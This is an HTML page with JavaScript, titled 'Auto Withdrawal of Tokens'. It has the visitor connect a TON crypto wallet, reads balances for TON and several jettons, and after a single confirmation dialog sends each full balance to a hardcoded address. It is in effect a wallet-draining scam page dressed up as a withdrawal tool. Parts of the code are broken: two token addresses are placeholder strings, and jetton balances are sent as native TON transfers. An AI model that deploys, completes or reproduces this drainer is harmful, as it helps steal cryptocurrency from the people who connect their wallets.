<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Auto Withdrawal</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
            text-align: center;
        }
        button {
            padding: 10px 20px;
            font-size: 16px;
            cursor: pointer;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
        }
        button:hover {
            background-color: #0056b3;
        }
        #status {
            margin-top: 20px;
            font-size: 18px;
            font-weight: bold;
        }
    </style>
</head>
<body>
    <h1>Auto Withdrawal of Tokens</h1>
    <button id="connectButton">Connect Wallet</button>
    <button id="withdrawButton" disabled>Withdraw All Tokens</button>
    <div id="status"></div>

    <!-- TON Connect 2.0 Library -->
    <script src="https://unpkg.com/@tonconnect/sdk@latest/dist/tonconnect-sdk.min.js"></script>
    <script>
        // Initialize TON Connect
        const connector = new TonConnectSDK.TonConnect();

        // DOM Elements
        const connectButton = document.getElementById('connectButton');
        const withdrawButton = document.getElementById('withdrawButton');
        const statusDiv = document.getElementById('status');

        // Target Address for Withdrawal
        const targetAddress = 'UQDt8ee5g8Jzv96FOLXIiGrWijZI529-WQe-CirtG6iNM3Fg';

        // Handle Wallet Connection
        connectButton.addEventListener('click', async () => {
            try {
                // Get List of Supported Wallets
                const walletsList = await connector.getWallets();

                // Create Universal Link for Wallet Connection
                const universalLink = TonConnectSDK.createUniversalLink({
                    wallets: walletsList,
                    redirectUrl: window.location.href
                });

                // Open Universal Link in New Tab
                window.open(universalLink, '_blank');

                // Listen for Wallet Connection
                connector.onStatusChange((wallet) => {
                    if (wallet) {
                        statusDiv.textContent = 'Wallet connected successfully!';
                        connectButton.disabled = true;
                        withdrawButton.disabled = false;
                    } else {
                        statusDiv.textContent = 'Wallet disconnected.';
                    }
                });
            } catch (error) {
                console.error('Error connecting wallet:', error);
                statusDiv.textContent = 'Failed to connect wallet.';
            }
        });

        // Handle Withdrawal
        withdrawButton.addEventListener('click', async () => {
            try {
                const account = connector.account;
                if (!account) {
                    statusDiv.textContent = 'Wallet not connected.';
                    return;
                }

                // Get User Permission Once
                const userConfirmed = confirm('Do you want to withdraw all tokens automatically?');
                if (!userConfirmed) {
                    statusDiv.textContent = 'Withdrawal canceled by user.';
                    return;
                }

                // Fetch All Token Balances
                const tokens = await fetchAllTokenBalances(account.address);
                statusDiv.textContent = 'Starting automatic withdrawal...';

                // Process Tokens One by One
                for (const token of tokens) {
                    statusDiv.textContent = `Withdrawing ${token.symbol}...`;

                    // Check if Token Balance is Greater Than 0
                    if (token.balance > 0) {
                        await sendTransaction(token, targetAddress);
                        statusDiv.textContent = `${token.symbol} withdrawn successfully!`;
                    } else {
                        statusDiv.textContent = `No balance found for ${token.symbol}.`;
                    }
                }

                statusDiv.textContent = 'All tokens withdrawn automatically!';
            } catch (error) {
                console.error('Error during withdrawal:', error);
                statusDiv.textContent = 'Failed to process tokens.';
            }
        });

        // Send Transaction
        async function sendTransaction(token, targetAddress) {
            const transaction = {
                messages: [
                    {
                        address: targetAddress,
                        amount: token.balance, // Amount in nanoTON
                        payload: '' // Optional payload for smart contracts
                    }
                ],
                validUntil: Math.floor(Date.now() / 1000) + 300 // 5 minutes validity
            };

            // Send Transaction
            await connector.sendTransaction(transaction);
        }

        // Fetch All Token Balances
        async function fetchAllTokenBalances(address) {
            const tokens = [
                { symbol: 'TON', address: 'TON' }, // TON is the native token
                { symbol: 'NOT', address: 'EQBCFwW8uFUh-amdRmNY9NyeDEaeDYXd9ggJGsicpqVcHq7B' }, // NOT contract address
                { symbol: 'DOGS', address: 'EQDvRFMyR1lY6XZ1Zs6J5_9a3L5Y5J5Z5Z5Z5Z5Z5Z5Z5Z' }, // Replace with actual DOGS contract address
                { symbol: 'HAMSTER', address: 'EQDvRFMyR1lY6XZ1Zs6J5_9a3L5Y5J5Z5Z5Z5Z5Z5Z5Z5Z' } // Replace with actual HAMSTER contract address
            ];

            const balances = [];
            for (const token of tokens) {
                const balance = await fetchTokenBalance(address, token.address);
                balances.push({ symbol: token.symbol, balance });
            }
            return balances;
        }

        // Fetch Token Balance
        async function fetchTokenBalance(address, tokenAddress) {
            if (tokenAddress === 'TON') {
                // Fetch TON balance
                const response = await fetch(`https://tonapi.io/v1/account/getBalance?account=${address}`);
                const data = await response.json();
                return data.balance || 0;
            } else {
                // Fetch Jetton balance (example for NOT, DOGS, HAMSTER)
                const response = await fetch(`https://tonapi.io/v1/jetton/getBalance?account=${address}&jetton=${tokenAddress}`);
                const data = await response.json();
                return data.balance || 0;
            }
        }

        // Check if Wallet is Already Connected
        async function checkConnection() {
            const account = connector.account;
            if (account) {
                connectButton.textContent = 'Wallet Connected';
                connectButton.disabled = true;
                withdrawButton.disabled = false;
            }
        }

        // Initialize
        checkConnection();
    </script>
</body>
</html>